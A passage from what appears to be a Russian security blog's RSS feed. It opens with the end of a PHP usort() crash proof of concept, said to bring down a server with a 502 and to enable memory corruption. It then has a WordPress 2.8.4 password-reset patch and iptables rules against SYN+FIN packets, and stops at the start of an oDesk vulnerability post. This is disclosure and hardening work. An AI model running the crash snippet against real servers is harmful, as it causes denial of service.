<br />
&nbsp; &nbsp; <span class="re0">$arr</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'A'</span><span class="sy0">,</span> <span class="st_h">'B'</span><span class="sy0">,</span> <span class="st_h">'C'</span><span class="sy0">,</span> <span class="st_h">'D'</span><span class="sy0">,</span> <span class="st_h">'E'</span><span class="sy0">,</span> <span class="st_h">'F'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">usort</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="sy0">,</span> <span class="st0">&quot;compare&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>В зависимости от конфигурации (всякие там Suhosin) может потребоваться увеличить длину строк в массиве, либо агрессивнее обратиться к массиву (например, вызвать <span class="codebox"><code class="php"><span class="kw3">sort</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> сразу после <span class="codebox"><code class="php"><span class="kw3">usort</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span>).</p>
<p>Вышеприведённый скрипт успешно устроил <code>502 Bad Gateway</code> на сервере с Suhosin (да так, что последний даже не пожаловался).</p>
<p>PHP в Ubuntu Karmic (5.2.10.dfsg.1-2ubuntu5) оказался уязвимым, а вот сборка от dotdeb (5.2.11-0.dotdeb.1) — нет (возможно, что ошибка исправлена в 5.2.11, хотя в changelog ничего не видно).</p>
<p>Что даёт уязвимость:</p>
<ul>
<li>если администратор криворукий, то можно забить место на диске core dump&#8217;ами (5-6 дампов — почти гигабайт, YMMV);</li>
<li>так как данная уязвимость демонстрирует повреждение памяти, при соответствующем исследовании можно переписать произвольные участки памяти PHP (например, отключить безопасный режим, включить <code>register_globals</code>, отключить <code>magic_quotes_gpc</code> и т.п.).</li>
</ul>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/php/667-simple-dos-for-php/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/c-cpp/553-the-use-of-superfluous-initialization/" title="О пользе избыточной инициализации, или, В исходный код смотреть вредно (Май 7, 2009)">О пользе избыточной инициализации, или, В исходный код смотреть вредно</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (Июль 16, 2008)">Водка с феназепамом? Или всё-таки правда?</a> (21)</li>
	<li><a href="http://blog.sjinks.pro/php/512-php-526-in-debian-lenny-unexpected-surprise/" title="PHP 5.2.6 в Debian Lenny: неожиданный сюрприз (Март 13, 2009)">PHP 5.2.6 в Debian Lenny: неожиданный сюрприз</a> (4)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/php/667-simple-dos-for-php/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress 2.8.4</title>
		<link>http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/</link>
		<comments>http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 15:09:14 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=616</guid>
		<description><![CDATA[Исправление уязвимости при сбросе пароля Вчера вышел WordPress 2.8.4, исправляющий уязвимость при сбросе пароля пользователя. С помощью специально сформированного URL можно было сбросить пароль первому пользователю, который никогда не сбрасывал пароль (обычно это администратор). Удалённый доступ это не даёт, но, по словам разработчиков, всё же неприятно. Те, кто не хотят качать двухмегабайтный архив ради исправления одной [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление уязвимости при сбросе пароля</em></h2>
<p>Вчера вышел WordPress 2.8.4, исправляющий <a href="http://wordpress.org/development/2009/08/2-8-4-security-release/">уязвимость при сбросе пароля пользователя</a>. С помощью специально сформированного URL можно было сбросить пароль первому пользователю, который никогда не сбрасывал пароль (обычно это администратор). Удалённый доступ это не даёт, но, по словам разработчиков, всё же неприятно.<span id="more-616"></span></p>
<p>Те, кто не хотят качать двухмегабайтный архив ради исправления одной единственной ошибки, могут применить данный патч:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p61613">
        <div class="code diff" id="p616code13">
diff -uwdBrN 2.8.3/readme.html 2.8.4/readme.html<br />
<span class="re3">--- 2.8.3/readme.html &nbsp; <span class="nu0">2009</span>-08-03 02:<span class="nu0">18</span>:<span class="nu0">57.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/readme.html &nbsp; <span class="nu0">2009</span>-08-<span class="nu0">12</span> 03:<span class="nu0">41</span>:<span class="nu0">44.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">8</span>,<span class="nu0">7</span> +<span class="nu0">8</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;&lt;body&gt;<br />
&nbsp;&lt;h1 id=&quot;logo&quot; style=&quot;text-align: center&quot;&gt;<br />
&nbsp; &nbsp; &lt;img alt=&quot;WordPress&quot; src=&quot;wp-admin/images/wordpress-logo.png&quot; /&gt;<br />
<span class="re7">- &nbsp; &lt;br /&gt; Version 2.8.3</span><br />
<span class="re8">+ &nbsp; &lt;br /&gt; Version 2.8.4</span><br />
&nbsp;&lt;/h1&gt;<br />
&nbsp;&lt;p style=&quot;text-align: center&quot;&gt;Semantic Personal Publishing Platform&lt;/p&gt;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">29</span>,<span class="nu0">7</span> +<span class="nu0">29</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;<br />
&nbsp;&lt;h1&gt;Upgrading&lt;/h1&gt;<br />
&nbsp;&lt;p&gt;Before you upgrade anything, make sure you have backup copies of any files you may have modified such as &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;<br />
<span class="re7">-&lt;h2&gt;Upgrading from any previous WordPress to 2.8.3:&lt;/h2&gt;</span><br />
<span class="re8">+&lt;h2&gt;Upgrading from any previous WordPress to 2.8.4:&lt;/h2&gt;</span><br />
&nbsp;&lt;ol&gt;<br />
&nbsp; &nbsp; &lt;li&gt;Delete your old WP files, saving ones you've modified.&lt;/li&gt;<br />
&nbsp; &nbsp; &lt;li&gt;Upload the new files.&lt;/li&gt;<br />
diff -uwdBrN 2.8.3/wp-includes/version.php 2.8.4/wp-includes/version.php<br />
<span class="re3">--- 2.8.3/wp-includes/version.php &nbsp; <span class="nu0">2009</span>-08-03 02:<span class="nu0">18</span>:<span class="nu0">57.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/wp-includes/version.php &nbsp; <span class="nu0">2009</span>-08-<span class="nu0">12</span> 03:<span class="nu0">41</span>:<span class="nu0">44.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">8</span>,<span class="nu0">7</span> +<span class="nu0">8</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; *<br />
&nbsp; * @global string $wp_version<br />
&nbsp; */<br />
<span class="re7">-$wp_version = '2.8.3';</span><br />
<span class="re8">+$wp_version = '2.8.4';</span><br />
&nbsp;<br />
&nbsp;/**<br />
&nbsp; * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.<br />
diff -uwdBrN 2.8.3/wp-login.php 2.8.4/wp-login.php<br />
<span class="re3">--- 2.8.3/wp-login.php&nbsp; <span class="nu0">2009</span>-06-04 01:<span class="nu0">15</span>:<span class="nu0">22.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/wp-login.php&nbsp; <span class="nu0">2009</span>-08-<span class="nu0">11</span> 09:03:<span class="nu0">45.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">161</span>,<span class="nu0">7</span> +<span class="nu0">161</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; $message .= get_option<span class="br0">&#40;</span>'siteurl'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'Username: %s'<span class="br0">&#41;</span>, $user_login<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= __<span class="br0">&#40;</span>'To reset your password visit the following address, otherwise just ignore this email and nothing will happen.'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
<span class="re7">- &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&quot;, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
<span class="re8">+ &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&amp;login=&quot; . rawurlencode<span class="br0">&#40;</span>$user_login<span class="br0">&#41;</span>, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
&nbsp;<br />
&nbsp; &nbsp; $title = sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'<span class="br0">&#91;</span>%s<span class="br0">&#93;</span> Password Reset'<span class="br0">&#41;</span>, get_option<span class="br0">&#40;</span>'blogname'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">182</span>,<span class="nu0">15</span> +<span class="nu0">182</span>,<span class="nu0">18</span> @@</span><br />
&nbsp; * @param string $key Hash to validate sending user's password<br />
&nbsp; * @return bool|WP_Error<br />
&nbsp; */<br />
<span class="re7">-function reset_password<span class="br0">&#40;</span>$key<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+function reset_password<span class="br0">&#40;</span>$key, $login<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp;<br />
&nbsp; &nbsp; $key = preg_replace<span class="br0">&#40;</span>'/<span class="br0">&#91;</span>^a-z0-9<span class="br0">&#93;</span>/i', '', $key<span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s&quot;, $key<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+</span><br />
<span class="re8">+ &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s AND user_login = %s&quot;, $key, $login<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $user <span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">370</span>,<span class="nu0">7</span> +<span class="nu0">373</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;<br />
&nbsp;case 'resetpass' :<br />
&nbsp;case 'rp' :<br />
<span class="re7">- &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span>, $_GET<span class="br0">&#91;</span>'login'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
&nbsp;<br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> ! is_wp_error<span class="br0">&#40;</span>$errors<span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>'wp-login.php?checkemail=newpass'<span class="br0">&#41;</span>;
        </div>
    </div>
</div>

<p>Те, у кого стоит WordPress 2.7, могут воспользоваться данным патчем:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p61614">
        <div class="code diff" id="p616code14">
diff -uwdBrN 2.8.3/wp-login.php 2.8.4/wp-login.php<br />
<span class="re3">--- 2.8.3/wp-login.php&nbsp; <span class="nu0">2009</span>-06-04 01:<span class="nu0">15</span>:<span class="nu0">22.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/wp-login.php&nbsp; <span class="nu0">2009</span>-08-<span class="nu0">11</span> 09:03:<span class="nu0">45.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">161</span>,<span class="nu0">7</span> +<span class="nu0">161</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; $message .= get_option<span class="br0">&#40;</span>'siteurl'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'Username: %s'<span class="br0">&#41;</span>, $user_login<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= __<span class="br0">&#40;</span>'To reset your password visit the following address, otherwise just ignore this email and nothing will happen.'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
<span class="re7">- &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&quot;, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
<span class="re8">+ &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&amp;login=&quot; . rawurlencode<span class="br0">&#40;</span>$user_login<span class="br0">&#41;</span>, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
&nbsp;<br />
&nbsp; &nbsp; $title = sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'<span class="br0">&#91;</span>%s<span class="br0">&#93;</span> Password Reset'<span class="br0">&#41;</span>, get_option<span class="br0">&#40;</span>'blogname'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">182</span>,<span class="nu0">15</span> +<span class="nu0">182</span>,<span class="nu0">18</span> @@</span><br />
&nbsp; * @param string $key Hash to validate sending user's password<br />
&nbsp; * @return bool|WP_Error<br />
&nbsp; */<br />
<span class="re7">-function reset_password<span class="br0">&#40;</span>$key<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+function reset_password<span class="br0">&#40;</span>$key, $login<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp;<br />
&nbsp; &nbsp; $key = preg_replace<span class="br0">&#40;</span>'/<span class="br0">&#91;</span>^a-z0-9<span class="br0">&#93;</span>/i', '', $key<span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s&quot;, $key<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+</span><br />
<span class="re8">+ &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s AND user_login = %s&quot;, $key, $login<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $user <span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">370</span>,<span class="nu0">7</span> +<span class="nu0">373</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;<br />
&nbsp;case 'resetpass' :<br />
&nbsp;case 'rp' :<br />
<span class="re7">- &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span>, $_GET<span class="br0">&#91;</span>'login'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
&nbsp;<br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> ! is_wp_error<span class="br0">&#40;</span>$errors<span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>'wp-login.php?checkemail=newpass'<span class="br0">&#41;</span>;
        </div>
    </div>
</div>

<p>Патч нормально ложится на стандартный WordPress 2.7. Исправляется только уязвимость, связанная со сбросом пароля.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/wordpress/patches/346-teaching-wordpress-to-correctly-encode-utf8-emails/" title="Учим WordPress правильно кодировать письма в UTF-8 (Сентябрь 27, 2008)">Учим WordPress правильно кодировать письма в UTF-8</a> (30)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/patches/495-deleting-parent-comment-causes-child-comments-to-be-incorrectly-displayed/" title="Удаление родительского комментария приводит к неправильному отображению дочерних комментариев (Февраль 1, 2009)">Удаление родительского комментария приводит к неправильному отображению дочерних комментариев</a> (10)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/patches/206-reset-password-in-wordpress-251/" title="Сброс пароля в WordPress 2.5.1 (Июнь 26, 2008)">Сброс пароля в WordPress 2.5.1</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/431-cause-to-be-proud/" title="Повод для гордости (Декабрь 7, 2008)">Повод для гордости</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/php/179-patch-for-wp-wassup-151/" title="Патч для WP WassUp 1.5.1 (Июнь 1, 2008)">Патч для WP WassUp 1.5.1</a> (1)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>TCP/IP SYN+FIN Packet Filtering Weakness</title>
		<link>http://blog.sjinks.pro/linux/605-tcp-ip-syn-fin-packet-filtering-weakness/</link>
		<comments>http://blog.sjinks.pro/linux/605-tcp-ip-syn-fin-packet-filtering-weakness/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 18:18:11 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=605</guid>
		<description><![CDATA[US CERT Vulnerability Note VU#464113 Сканируя Nessus парочку хостов, столкнулся с тем, что Nessus определял, что система (Linux 2.6.x) не фильтрует TCP/IP пакеты, у которых установлены флаги SYN и FIN, что, теоретически, может привести к обходу межсетевого экрана (firewall). Подробности об уязвимости в архиве Neohapsis и в базе данных US CERT (что характерно, уязвимость датируется 2002 годом). С [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/linux/605-tcp-ip-syn-fin-packet-filtering-weakness/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>US CERT Vulnerability Note VU#464113</em></h2>
<p>Сканируя Nessus парочку хостов, столкнулся с тем, что Nessus определял, что система (<a href="http://blog.sjinks.pro/tag/linux/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Linux">Linux</a> 2.6.x) не фильтрует TCP/IP пакеты, у которых установлены флаги <code>SYN</code> и <code>FIN</code>, что, теоретически, может привести к обходу межсетевого экрана (firewall).<span id="more-605"></span></p>
<p>Подробности об уязвимости в <a href="http://archives.neohapsis.com/archives/bugtraq/2002-10/0266.html">архиве Neohapsis</a> и в базе данных <a href="http://www.kb.cert.org/vuls/id/464113">US CERT</a> (что характерно, уязвимость датируется 2002 годом). С другой стороны, <a href="http://www.faqs.org/rfcs/rfc1644.html">RFC1644</a> разрешает пакеты, с установленными флагами <code>SYN</code> и <code>FIN</code>.</p>
<p>Тем, кому <code>T/TCP</code> не интересен, закрывать уязвимость могут следующим образом:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p60518">
        <div class="code bash" id="p605code18">
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> INPUT <span class="re5">-p</span> tcp <span class="re5">-m</span> tcp <span class="re5">--tcp-flags</span> SYN,FIN SYN,FIN <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> INPUT <span class="re5">-p</span> tcp <span class="re5">-m</span> tcp <span class="re5">--tcp-flags</span> SYN,RST SYN,RST <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> INPUT <span class="re5">-p</span> tcp <span class="re5">-m</span> tcp <span class="re5">--tcp-flags</span> SYN,PSH SYN,PSH <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> INPUT <span class="re5">-p</span> tcp <span class="re5">-m</span> tcp <span class="re5">--tcp-flags</span> SYN,URG SYN,URG <span class="re5">-j</span> DROP
        </div>
    </div>
</div>

<p>Кроме того, я запрещаю ICMP-запросы <code>address mask request</code> и <code>timestamp request</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p60519">
        <div class="code bash" id="p605code19">
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> INPUT &nbsp;<span class="re5">-p</span> icmp <span class="re5">-m</span> icmp <span class="re5">--icmp-type</span> address-mask-request <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> INPUT &nbsp;<span class="re5">-p</span> icmp <span class="re5">-m</span> icmp <span class="re5">--icmp-type</span> timestamp-request <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-A</span> OUTPUT <span class="re5">-p</span> icmp <span class="re5">-m</span> icmp <span class="re5">--icmp-type</span> timestamp-reply <span class="re5">-j</span> DROP
        </div>
    </div>
</div>

<p>и отбрасываю все неверные пакеты:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p60520">
        <div class="code bash" id="p605code20">
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-I</span> INPUT &nbsp; <span class="re5">-m</span> state <span class="re5">--state</span> INVALID <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-I</span> FORWARD <span class="re5">-m</span> state <span class="re5">--state</span> INVALID <span class="re5">-j</span> DROP<br />
<span class="sy0">/</span>sbin<span class="sy0">/</span>iptables <span class="re5">-I</span> OUTPUT &nbsp;<span class="re5">-m</span> state <span class="re5">--state</span> INVALID <span class="re5">-j</span> DROP
        </div>
    </div>
</div>

<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/linux/605-tcp-ip-syn-fin-packet-filtering-weakness/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/717-say-no-to-intruder-part-2/" title="Скажи «Нет!» взломщику: часть 2 (Декабрь 8, 2009)">Скажи «Нет!» взломщику: часть 2</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/194-say-no-to-intruder/" title="Скажи «Нет!» взломщику (Июнь 14, 2008)">Скажи «Нет!» взломщику</a> (15)</li>
	<li><a href="http://blog.sjinks.pro/linux/811-prot-range-sport-dport-iptables-multiport/" title="Как правильно использовать диапазон портов в &#8211;sport и &#8211;dport в iptables с использованием multiport (Август 31, 2010)">Как правильно использовать диапазон портов в &#8211;sport и &#8211;dport в iptables с использованием multiport</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/598-fighting-spam-with-iptables/" title="Борьба со спамом на уровне фильтра пакетов (Июль 26, 2009)">Борьба со спамом на уровне фильтра пакетов</a> (6)</li>
	<li><a href="http://blog.sjinks.pro/security/793-using-rsyslogd-fight-against-hack-bots/" title="Борьба с ботами-взломщиками средствами rsyslogd (Апрель 21, 2010)">Борьба с ботами-взломщиками средствами rsyslogd</a> (5)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/linux/605-tcp-ip-syn-fin-packet-filtering-weakness/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>oDesk Time Tracker Vulnerabilities</title>
		<link>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/</link>
		<comments>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:42:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[oDesk]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

